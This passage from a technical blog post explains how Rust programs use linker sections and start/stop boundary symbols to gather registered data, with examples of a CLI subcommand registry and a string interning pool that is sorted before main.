    </tr>
    <tr>
      <td><code>_DATA_2</code></td>
      <td><code>22</code></td>
      <td><code>_DATA_2</code></td>
    </tr>
    <tr>
      <td><code>_DATA_3</code></td>
      <td><code>33</code></td>
      <td><code>_DATA_3</code></td>
    </tr>
    <tr>
      <td><code>_DATA_4</code></td>
      <td><code>44</code></td>
      <td><code>_DATA_4</code></td>
    </tr>
    <tr>
      <td></td>
      <td colspan="2"><code>(past the end)</code></td>
      <td>↤</td>
      <td><code>_stop_my_numbers</code></td>
    </tr>
  </tbody>
</table>

<p>Specifying start and end symbols for every section can be complex and tedious in linker scripts, so many linkers <sup id="fnref:5"><a href="#fn:5" class="footnote" rel="footnote" role="doc-noteref">9</a></sup> eventually gained a feature where they could automatically define symbols bounding all sections in the executable. E.g., for GNU toolchains, a section named <code class="language-text highlighter-rouge">MY_SECTION</code> will automatically have symbols <code class="language-text highlighter-rouge">__start_MY_SECTION</code> and <code class="language-text highlighter-rouge">__stop_MY_SECTION</code> defined. macOS has <a href="https://discourse.llvm.org/t/lld-support-for-ld64-mach-o-linker-synthesised-symbols/45145">a similar pattern</a> where it synthesizes a <code class="language-text highlighter-rouge">section$start</code> and <code class="language-text highlighter-rouge">section$end</code> symbol for each section.</p>

<p>In the GNU linker, those sections not explicitly defined in the linker script are called “orphan sections” <sup id="fnref:6"><a href="#fn:6" class="footnote" rel="footnote" role="doc-noteref">10</a></sup>. One important thing to note: if (and only if!) a section’s name is compatible with a C symbol name, the linker will automatically define a <code class="language-text highlighter-rouge">_start</code>- and <code class="language-text highlighter-rouge">_stop</code>-prefixed symbol for the section. In the example you’ll see below, the section name <code class="language-text highlighter-rouge">our_strings</code> that we used works, but if we had chosen <code class="language-text highlighter-rouge">our.strings</code> or <code class="language-text highlighter-rouge">.our_strings</code> it would not have!</p>

<callout>
<p>You’ll see in the example below that the start and stop symbols are <code class="language-text highlighter-rouge">MaybeUninit&lt;()&gt;</code>. The boundary symbols contain no data, and only their address is significant.</p>

<p>The ideal Rust type for these would be an “opaque external type” (this would be implemented by the <a href="https://doc.rust-lang.org/beta/unstable-book/language-features/extern-types.html"><code class="language-text highlighter-rouge">extern_types</code> feature</a>). As these are not currently implemented in Stable Rust, <code class="language-text highlighter-rouge">MaybeUninit</code> is a stand-in. It signifies to the compiler that the data is uninitialized, and generally not safe to read via reference. Since taking a <a href="https://blog.rust-lang.org/2024/10/17/Rust-1.82.0/#native-syntax-for-creating-a-raw-pointer"><code class="language-text highlighter-rouge">&amp;raw const</code> pointer</a> to a <code class="language-text highlighter-rouge">static</code> item is always valid, however, we can still safely capture its address without ever reading its value.</p>
</callout>

<p><a href="https://play.rust-lang.org/?version=stable&amp;mode=debug&amp;edition=2024&amp;gist=1696bdc67f02992cfde9de752e117e0e">Try it in the Rust Playground</a>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">mem</span><span class="p">::</span><span class="n">MaybeUninit</span><span class="p">;</span>

<span class="nd">#[used]</span>
<span class="nd">#[unsafe(link_section</span> <span class="nd">=</span> <span class="s">"our_strings"</span><span class="nd">)]</span>
<span class="k">static</span> <span class="n">FIRST_STRING</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"Hello, "</span><span class="p">;</span>

<span class="nd">#[used]</span>
<span class="nd">#[unsafe(link_section</span> <span class="nd">=</span> <span class="s">"our_strings"</span><span class="nd">)]</span>
<span class="k">static</span> <span class="n">SECOND_STRING</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"world!"</span><span class="p">;</span>

<span class="c1">// Note: these are not pointers. Instead, the linker has placed</span>
<span class="c1">// the boundary symbols STATIC_STRING_START and STATIC_STRING_END at</span>
<span class="c1">// the start and end of the section!</span>
<span class="k">unsafe</span> <span class="k">extern</span> <span class="s">"C"</span> <span class="p">{</span>
    <span class="nd">#[link_name</span> <span class="nd">=</span> <span class="s">"__start_our_strings"</span><span class="nd">]</span>
    <span class="k">static</span> <span class="n">STATIC_STRING_START</span><span class="p">:</span> <span class="n">MaybeUninit</span><span class="o">&lt;</span><span class="p">()</span><span class="o">&gt;</span><span class="p">;</span>
    <span class="nd">#[link_name</span> <span class="nd">=</span> <span class="s">"__stop_our_strings"</span><span class="nd">]</span>
    <span class="k">static</span> <span class="n">STATIC_STRING_END</span><span class="p">:</span> <span class="n">MaybeUninit</span><span class="o">&lt;</span><span class="p">()</span><span class="o">&gt;</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">strings</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="p">[</span><span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>
        <span class="c1">// SAFETY: get the addresses of the start and end symbols without</span>
        <span class="c1">// reading them.</span>
        <span class="k">let</span> <span class="n">start</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">const</span> <span class="n">STATIC_STRING_START</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">;</span>
        <span class="k">let</span> <span class="n">end</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">const</span> <span class="n">STATIC_STRING_END</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">;</span>
        <span class="nn">std</span><span class="p">::</span><span class="nn">slice</span><span class="p">::</span><span class="nf">from_raw_parts</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="nf">.offset_from</span><span class="p">(</span><span class="n">start</span><span class="p">)</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">)</span>
    <span class="p">};</span>
    
    <span class="c1">// "Hello, world!"</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"String: {}"</span><span class="p">,</span> <span class="n">strings</span><span class="nf">.join</span><span class="p">(</span><span class="s">""</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <a href="https://crates.io/crates/link-section"><code class="language-text highlighter-rouge">link-section</code></a> crate is designed to abstract away the details of these linker sections and convert them into traditional Rust slices with all standard slice operations available. We can use it to simplify the example above to:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">link_section</span><span class="p">::{</span><span class="n">in_section</span><span class="p">,</span> <span class="n">section</span><span class="p">};</span>

<span class="nd">#[section(typed)]</span>
<span class="k">static</span> <span class="n">OUR_STRINGS</span><span class="p">:</span> <span class="nn">link_section</span><span class="p">::</span><span class="n">TypedSection</span><span class="o">&lt;&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="o">&gt;</span><span class="p">;</span>

<span class="nd">#[in_section(OUR_STRINGS)]</span>
<span class="k">static</span> <span class="n">FIRST_STRING</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"Hello, "</span><span class="p">;</span>

<span class="nd">#[in_section(OUR_STRINGS)]</span>
<span class="k">static</span> <span class="n">SECOND_STRING</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="s">"world!"</span><span class="p">;</span>

<span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"String: {}"</span><span class="p">,</span> <span class="n">OUR_STRINGS</span><span class="nf">.join</span><span class="p">(</span><span class="s">""</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In these examples we’re submitting items to the link section in a single module within a single crate, but that’s not a requirement. In fact, the power of link sections is that you can submit items to a link section from <em>any</em> crate that contributes code to a binary - the linker will gather them all together just before writing the final binary.</p>

<h2 id="dependency-injection">Dependency Injection</h2>

<p>The registration pattern we’re about to build is <a href="https://en.wikipedia.org/wiki/Dependency_injection">Dependency Injection</a> by another name. This is a well-known pattern: frameworks like <a href="https://dagger.dev/">Dagger</a> and <a href="https://spring.io/">Spring</a> are built on the same principle that <em>consumers</em> of registration data should not be coupled to the <em>providers</em> of that data. A <em>provider</em> registers data at its definition site, a <em>consumer</em> simply reads the registry.</p>

<p>What’s somewhat different with linker sections versus traditional DI is that in DI the framework often needs to walk the module graph or scan loaded classes at startup to discover both providers and consumer sites. With linker sections, this magic is handled when the binary is written. The linker is the one that gathers all of the provider data and makes it trivially available to the consumer.</p>

<p>The example below uses a <code class="language-text highlighter-rouge">link_section::section</code> to register CLI subcommands and is an instance of this pattern. More complex projects like <a href="https://github.com/vercel/next.js/blob/canary/turbopack/">Turbopack</a> use this pattern to register string-pool constants, and the registration machinery used for serialization/deserialization and <a href="https://web.archive.org/web/20250222021941/https://turbo.build/pack/docs/incremental-computation">turbotask incremental compilation functions</a>. A hypothetical webserver could make use of this pattern to register routes and middleware that are automatically collected at build time. The core mechanism is the same: the contributors place data into a shared registration system from any crate in the dependency tree, and the consumer reads the collected data without having to know where it was provided from.</p>

<h2 id="using-sections-for-registration">Using Sections for Registration</h2>

<p>One advantage we have in doing work before main is that it is well-behaved. No threads are running unless we start them. This means we are able to avoid the complexity of locks and other synchronization primitives in many cases, and that we can explicitly split our writable and immutable phase of our data’s lifecycle clearly: before and after main. And because of that, accessing data in the running program can become both simpler and more efficient by avoiding the need to acquire and release locks.</p>

<p>First, we’ll define our subcommand, a <code class="language-text highlighter-rouge">const</code> constructor function, and a <code class="language-text highlighter-rouge">#[section]</code> to collect them:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">collections</span><span class="p">::</span><span class="n">VecDeque</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">path</span><span class="p">::</span><span class="n">Path</span><span class="p">;</span>

<span class="k">use</span> <span class="nn">link_section</span><span class="p">::{</span><span class="n">in_section</span><span class="p">,</span> <span class="n">section</span><span class="p">};</span>

<span class="k">struct</span> <span class="n">CliSubcommand</span> <span class="p">{</span>
    <span class="n">is_default</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="n">name</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">,</span>
    <span class="n">description</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">,</span>
    <span class="n">f</span><span class="p">:</span> <span class="k">fn</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Path</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">[</span><span class="nb">String</span><span class="p">]),</span>
<span class="p">}</span>

<span class="k">impl</span> <span class="n">CliSubcommand</span> <span class="p">{</span>
    <span class="k">const</span> <span class="k">fn</span> <span class="nf">new</span><span class="p">(</span><span class="n">name</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">,</span>
                 <span class="n">description</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">,</span> 
                 <span class="n">f</span><span class="p">:</span> <span class="k">fn</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Path</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">[</span><span class="nb">String</span><span class="p">]))</span> <span class="k">-&gt;</span> <span class="k">Self</span> <span class="p">{</span>
        <span class="k">Self</span> <span class="p">{</span> <span class="n">is_default</span><span class="p">:</span> <span class="k">false</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">f</span> <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">const</span> <span class="k">fn</span> <span class="nf">new_default</span><span class="p">(</span><span class="n">name</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">,</span>
                        <span class="n">description</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">,</span> 
                        <span class="n">f</span><span class="p">:</span> <span class="k">fn</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Path</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">[</span><span class="nb">String</span><span class="p">]))</span> <span class="k">-&gt;</span> <span class="k">Self</span> <span class="p">{</span>
        <span class="k">Self</span> <span class="p">{</span> <span class="n">is_default</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">f</span> <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nd">#[section(typed)]</span>
<span class="k">static</span> <span class="n">CLI_SUBCOMMANDS</span><span class="p">:</span> <span class="nn">link_section</span><span class="p">::</span><span class="n">TypedSection</span><span class="o">&lt;</span><span class="n">CliSubcommand</span><span class="o">&gt;</span><span class="p">;</span>
</code></pre></div></div>

<p>Then we’ll register subcommands - these can live <em>anywhere</em> in your code:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">mod</span> <span class="n">list</span> <span class="p">{</span>
    <span class="nd">#[in_section(CLI_SUBCOMMANDS)]</span>
    <span class="k">static</span> <span class="n">CLI_SUBCOMMAND_LIST</span><span class="p">:</span> <span class="n">CliSubcommand</span> <span class="o">=</span> 
        <span class="nn">CliSubcommand</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"list"</span><span class="p">,</span> <span class="s">"List all items"</span><span class="p">,</span> <span class="p">|</span><span class="n">_exe</span><span class="p">,</span> <span class="n">_args</span><span class="p">|</span> <span class="p">{</span>
            <span class="nd">println!</span><span class="p">(</span><span class="s">"Listing all items"</span><span class="p">);</span>
        <span class="p">});</span>
<span class="p">}</span>

<span class="k">mod</span> <span class="n">add</span> <span class="p">{</span>
    <span class="nd">#[in_section(CLI_SUBCOMMANDS)]</span>
    <span class="k">static</span> <span class="n">CLI_SUBCOMMAND_ADD</span><span class="p">:</span> <span class="n">CliSubcommand</span> <span class="o">=</span> 
        <span class="nn">CliSubcommand</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"add"</span><span class="p">,</span> <span class="s">"Add a new item"</span><span class="p">,</span> <span class="p">|</span><span class="n">_exe</span><span class="p">,</span> <span class="n">_args</span><span class="p">|</span> <span class="p">{</span>
            <span class="nd">println!</span><span class="p">(</span><span class="s">"Adding a new item"</span><span class="p">);</span>
        <span class="p">});</span>
<span class="p">}</span>

<span class="k">mod</span> <span class="n">help</span> <span class="p">{</span>
    <span class="nd">#[in_section(CLI_SUBCOMMANDS)]</span>
    <span class="k">static</span> <span class="n">CLI_SUBCOMMAND_HELP</span><span class="p">:</span> <span class="n">CliSubcommand</span> <span class="o">=</span> 
        <span class="nn">CliSubcommand</span><span class="p">::</span><span class="nf">new_default</span><span class="p">(</span><span class="s">"help"</span><span class="p">,</span> <span class="s">"Show help"</span><span class="p">,</span> <span class="p">|</span><span class="n">exe</span><span class="p">,</span> <span class="n">_args</span><span class="p">|</span> <span class="p">{</span>
            <span class="nd">println!</span><span class="p">(</span><span class="s">"Usage: {} &lt;subcommand&gt; [options]"</span><span class="p">,</span> <span class="n">exe</span><span class="nf">.display</span><span class="p">());</span>
            <span class="nd">println!</span><span class="p">();</span>
            <span class="nd">println!</span><span class="p">(</span><span class="s">"Subcommands:"</span><span class="p">);</span>
            <span class="k">for</span> <span class="n">subcommand</span> <span class="k">in</span> <span class="n">CLI_SUBCOMMANDS</span> <span class="p">{</span>
                <span class="nd">println!</span><span class="p">(</span><span class="s">"  {}: {}"</span><span class="p">,</span> <span class="n">subcommand</span><span class="py">.name</span><span class="p">,</span> <span class="n">subcommand</span><span class="py">.description</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And then in our <code class="language-text highlighter-rouge">main</code> function we can dynamically dispatch to any registered subcommand without ever having to know what they are or where they live. It only needs to be able to see the <code class="language-text highlighter-rouge">CLI_SUBCOMMANDS</code> section definition:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">args</span><span class="p">:</span> <span class="n">VecDeque</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;</span> <span class="o">=</span> <span class="nn">std</span><span class="p">::</span><span class="nn">env</span><span class="p">::</span><span class="nf">args</span><span class="p">()</span><span class="nf">.collect</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">args</span><span class="nf">.pop_front</span><span class="p">()</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"No executable name provided"</span><span class="p">);</span>
    <span class="k">let</span> <span class="n">exe</span> <span class="o">=</span> <span class="nn">Path</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="o">&amp;</span><span class="n">exe</span><span class="p">);</span>
    <span class="k">let</span> <span class="n">subcommand_name</span> <span class="o">=</span> <span class="n">args</span><span class="nf">.pop_front</span><span class="p">()</span><span class="nf">.unwrap_or_default</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">rest</span><span class="p">:</span> <span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;</span> <span class="o">=</span> <span class="n">args</span><span class="nf">.into</span><span class="p">();</span>

    <span class="c1">// Try to find the subcommand by name</span>
    <span class="k">for</span> <span class="n">cmd</span> <span class="k">in</span> <span class="n">CLI_SUBCOMMANDS</span> <span class="p">{</span>
        <span class="k">if</span> <span class="n">cmd</span><span class="py">.name</span> <span class="o">==</span> <span class="n">subcommand_name</span> <span class="p">{</span>
            <span class="p">(</span><span class="n">cmd</span><span class="py">.f</span><span class="p">)(</span><span class="n">exe</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rest</span><span class="p">);</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="c1">// If no subcommand was found, fall back to the default subcommand</span>
    <span class="k">for</span> <span class="n">cmd</span> <span class="k">in</span> <span class="n">CLI_SUBCOMMANDS</span> <span class="p">{</span>
        <span class="k">if</span> <span class="n">cmd</span><span class="py">.is_default</span> <span class="p">{</span>
            <span class="p">(</span><span class="n">cmd</span><span class="py">.f</span><span class="p">)(</span><span class="n">exe</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rest</span><span class="p">);</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Running the code above works as you’d expect:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./cli
Usage: ./cli &lt;subcommand&gt; <span class="o">[</span>options]

Subcommands:
  list: List all items
  add: Add a new item
  <span class="nb">help</span>: Show <span class="nb">help</span>

<span class="nv">$ </span>./cli list
Listing all items
</code></pre></div></div>

<h2 id="beyond-immutable-data">Beyond Immutable Data</h2>

<callout><div>
    <p>This section deals with some more advanced topics. Familiarity with <a href="https://marabos.nl/atomics/">Rust Atomics and Locks</a>, or at least reading the first chapter on the basics of Rust concurrency, is recommended!</p>
  </div></callout>

<p>The example above assumes that the linked data is immutable. But that’s only half the power of using linker organization for data. Mutability in global static data is a <a href="https://doc.rust-lang.org/reference/interior-mutability.html">common problem with well-known solutions</a> in standard Rust. We could potentially use Rust’s built-in tools for interior mutability like mutexes, or atomic types, for example. Each of those comes with <em>some</em> runtime cost. If they are “uncontended” they aren’t expensive, but they are not necessarily free. <sup id="fnref:7"><a href="#fn:7" class="footnote" rel="footnote" role="doc-noteref">11</a></sup></p>

<p>But what if we want to minimize the overhead of runtime data access? Immutable data is trivial: Rust allows safe concurrent access to immutable data by default <sup id="fnref:8"><a href="#fn:8" class="footnote" rel="footnote" role="doc-noteref">12</a></sup>. Rust has strict requirements for mutable data, however. There are two requirements to safely mutate data: (1) the modifications must be done in a thread-safe manner, and (2), there must never be more than one reference to the data if a mutable reference exists.</p>

<p>At the beginning of this post, we mentioned that life-before-main is a useful place to bootstrap because no threads are running unless we start them. And the solution to (1) is trivial if the data is currently accessible to a single thread only! We don’t need to do anything atomically; we only need to ensure that all of the changes we make to that data <a href="https://marabos.nl/atomics/">“happen before”</a> any reads to the data. In a single-threaded environment, “happens before” is automatic <sup id="fnref:9"><a href="#fn:9" class="footnote" rel="footnote" role="doc-noteref">13</a></sup>. This means that we can mutate data in a link-section before main and it will be safe to access, lock free, from any thread after main.</p>

<p>The resolution for (2) is similar: as long as we only ever take a mutable reference (and only a mutable reference!) <em>before main</em>, there will never be more than one reference to the data when a mutable reference exists.</p>

<p>The pre-main environment satisfies <em>both</em> (1) and (2), without needing to reach for locks or other synchronization primitives.</p>

<p>There’s also one additional gotcha with linker sections we need to be very careful with: the slice that contains all of the items in a section is an <em>alias</em> to the static item that lives in the section. The rules about aliasing apply to both the slice and the static item, and you <em>must</em> ensure that static items are placed in <code class="language-text highlighter-rouge">UnsafeCell</code> to safely mutate them from the slice <sup id="fnref:10"><a href="#fn:10" class="footnote" rel="footnote" role="doc-noteref">14</a></sup>. Rust does not allow a static item to be modified through other means. With static items that aren’t wrapped in an <code class="language-text highlighter-rouge">UnsafeCell</code>, LLVM may consider itself free to cache, reorder or otherwise make assumptions about the data itself. <code class="language-text highlighter-rouge">UnsafeCell</code> itself is not <code class="language-text highlighter-rouge">Sync</code>, so you’ll need to add your own wrapper types on top of this!</p>

<callout><div>
    <p>Note that in the example below, we’re now using <code class="language-text highlighter-rouge">MaybeUninit&lt;SyncUnsafeCell&lt;...&gt;&gt;</code> for the boundary symbols and <code class="language-text highlighter-rouge">SyncUnsafeCell&lt;...&gt;</code> for the items.</p>

    <p>Because we’re planning on sorting the slice, we need to tell Rust that the slice items are not immutable so the data doesn’t end up in read-only memory. By using a type that includes <code class="language-text highlighter-rouge">UnsafeCell</code> - a semantic signal that Rust uses to indicate <a href="https://doc.rust-lang.org/reference/interior-mutability.html">interior mutability</a> - the Rust compiler will then know to place that data in a part of the binary that can be written.</p>

    <p>On some platforms (Windows in particular), omitting this from the data items will cause segmentation faults when trying to sort the slice. On other platforms (AIX for example), section mutability is part of a section’s identifier, so the boundary symbols’ mutability needs to match the section’s mutability!</p>
  </div></callout>

<p>Let’s walk through an example of how we might otherwise do something like this. We’re going to build a string interning pool defined entirely at link-time, and add a wrinkle: we want to be able to sort the slice of interned strings at runtime so we can quickly intern a string by value if needed via binary search (<a href="https://play.rust-lang.org/?version=stable&amp;mode=debug&amp;edition=2024&amp;gist=cc4df8dc5aba46357a5f6c64ce11e587">try it in the Rust Playground</a>):</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">cell</span><span class="p">::</span><span class="n">UnsafeCell</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">mem</span><span class="p">::</span><span class="n">MaybeUninit</span><span class="p">;</span>
<span class="nd">#[cfg(debug_assertions)]</span>
<span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">sync</span><span class="p">::</span><span class="nn">atomic</span><span class="p">::{</span><span class="n">AtomicBool</span><span class="p">,</span> <span class="n">Ordering</span><span class="p">};</span>

<span class="cd">/// Nightly Rust offers a built-in `SyncUnsafeCell`. This is a minimal</span>
<span class="cd">/// reimplementation of that: </span>
<span class="cd">/// &lt;https://doc.rust-lang.org/std/cell/struct.SyncUnsafeCell.html&gt;</span>
<span class="nd">#[repr(transparent)]</span>
<span class="k">struct</span> <span class="n">SyncUnsafeCell</span><span class="o">&lt;</span><span class="n">T</span><span class="p">:</span> <span class="o">?</span><span class="nb">Sized</span><span class="o">&gt;</span><span class="p">(</span><span class="n">UnsafeCell</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">);</span>
<span class="c1">// SAFETY: safety burden of UnsafeCell is placed entirely on the user</span>
<span class="k">unsafe</span> <span class="k">impl</span><span class="o">&lt;</span><span class="n">T</span><span class="p">:</span> <span class="o">?</span><span class="nb">Sized</span> <span class="o">+</span> <span class="nb">Sync</span><span class="o">&gt;</span> <span class="nb">Sync</span> <span class="k">for</span> <span class="n">SyncUnsafeCell</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span> <span class="p">{}</span>

<span class="nd">macro_rules!</span> <span class="n">intern_string</span> <span class="p">{</span>
    <span class="p">(</span><span class="nv">$name:ident</span><span class="p">,</span> <span class="nv">$string:literal</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
        <span class="nd">#[allow(unused)]</span>
        <span class="k">const</span> <span class="nv">$name</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span> <span class="o">=</span> <span class="k">const</span> <span class="p">{</span>
            <span class="c1">// This is not a common pattern, but it's entirely valid</span>
            <span class="c1">// to nest static items inside of const blocks. </span>
            <span class="c1">// You can think of this as a way to hide the symbols</span>
            <span class="c1">// in a completely anonymous namespace.</span>
            <span class="k">const</span> <span class="n">VALUE</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">str</span> <span class="o">=</span> <span class="nv">$string</span><span class="p">;</span>
            <span class="c1">// Safety note: this static must _never_ be used. This is</span>
            <span class="c1">// purely a submission to the linker and _any_ access to it</span>
            <span class="c1">// may be UB.</span>
            <span class="nd">#[used]</span>
            <span class="nd">#[unsafe(link_section</span> <span class="nd">=</span> <span class="s">"our_strings"</span><span class="nd">)]</span>
            <span class="k">static</span> <span class="n">ITEM</span><span class="p">:</span> <span class="n">SyncUnsafeCell</span><span class="o">&lt;&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="o">&gt;</span> <span class="o">=</span> 
                <span class="nf">SyncUnsafeCell</span><span class="p">(</span><span class="nn">UnsafeCell</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="n">VALUE</span><span class="p">));</span>
            <span class="n">VALUE</span>
        <span class="p">};</span>
    <span class="p">};</span>
<span class="p">}</span>

<span class="nd">intern_string!</span><span class="p">(</span><span class="n">WORLD</span><span class="p">,</span> <span class="s">"world"</span><span class="p">);</span>
<span class="nd">intern_string!</span><span class="p">(</span><span class="n">EXCLAMATION</span><span class="p">,</span> <span class="s">"!"</span><span class="p">);</span>
<span class="nd">intern_string!</span><span class="p">(</span><span class="n">HELLO</span><span class="p">,</span> <span class="s">"hello"</span><span class="p">);</span>
<span class="nd">intern_string!</span><span class="p">(</span><span class="n">FROM</span><span class="p">,</span> <span class="s">"from"</span><span class="p">);</span>
<span class="nd">intern_string!</span><span class="p">(</span><span class="n">RUST</span><span class="p">,</span> <span class="s">"Rust"</span><span class="p">);</span>

<span class="k">unsafe</span> <span class="k">extern</span> <span class="s">"C"</span> <span class="p">{</span>
    <span class="nd">#[link_name</span> <span class="nd">=</span> <span class="s">"__start_our_strings"</span><span class="nd">]</span>
    <span class="k">static</span> <span class="n">STATIC_STRING_START</span><span class="p">:</span> <span class="n">MaybeUninit</span><span class="o">&lt;</span><span class="n">SyncUnsafeCell</span><span class="o">&lt;</span><span class="p">()</span><span class="o">&gt;&gt;</span><span class="p">;</span>
    <span class="nd">#[link_name</span> <span class="nd">=</span> <span class="s">"__stop_our_strings"</span><span class="nd">]</span>
    <span class="k">static</span> <span class="n">STATIC_STRING_END</span><span class="p">:</span> <span class="n">MaybeUninit</span><span class="o">&lt;</span><span class="n">SyncUnsafeCell</span><span class="o">&lt;</span><span class="p">()</span><span class="o">&gt;&gt;</span><span class="p">;</span>
<span class="p">}</span>

<span class="cd">/// Debug check to make sure the slice is sorted once and only once. This _could_</span>
<span class="cd">/// be enabled in release mode without any major performance impact, but we have enough</span>
<span class="cd">/// guarantees in place. Note that atomic access _does_ establish some memory ordering</span>
<span class="cd">/// guarantees, but the soundness guarantees are upheld with or without this atomic check.</span>
<span class="nd">#[cfg(debug_assertions)]</span>
<span class="k">static</span> <span class="n">SLICE_IS_SORTED</span><span class="p">:</span> <span class="n">AtomicBool</span> <span class="o">=</span> <span class="nn">AtomicBool</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="k">false</span><span class="p">);</span>

<span class="c1">// Implementation note: this function must not be called before `SORT_STRINGS_CTOR` has</span>
<span class="c1">// run.</span>
<span class="k">fn</span> <span class="nf">interned_strings</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="o">&amp;</span><span class="k">'static</span> <span class="p">[</span><span class="o">&amp;</span><span class="k">'static</span> <span class="nb">str</span><span class="p">]</span> <span class="p">{</span>
    <span class="c1">// We use Acquire/Release pairing as a double-initialization check</span>
    <span class="nd">#[cfg(debug_assertions)]</span>
    <span class="nd">debug_assert!</span><span class="p">(</span><span class="n">SLICE_IS_SORTED</span><span class="nf">.load</span><span class="p">(</span><span class="nn">Ordering</span><span class="p">::</span><span class="n">Acquire</span><span class="p">),</span> <span class="s">"Oh no! Slice was not sorted!"</span><span class="p">);</span>

    <span class="c1">// SAFETY: we are calling this after main and we can guarantee that no</span>
    <span class="c1">// mutable reference is still alive. Since we know that no other code</span>
    <span class="c1">// is running before main, and that `SORT_STRINGS_CTOR` will run before main,</span>
    <span class="c1">// we can guarantee creating these slices is safe as 1) the sort "happens-before"</span>
    <span class="c1">// any access and 2) the mutable reference has been closed before any read-reference</span>
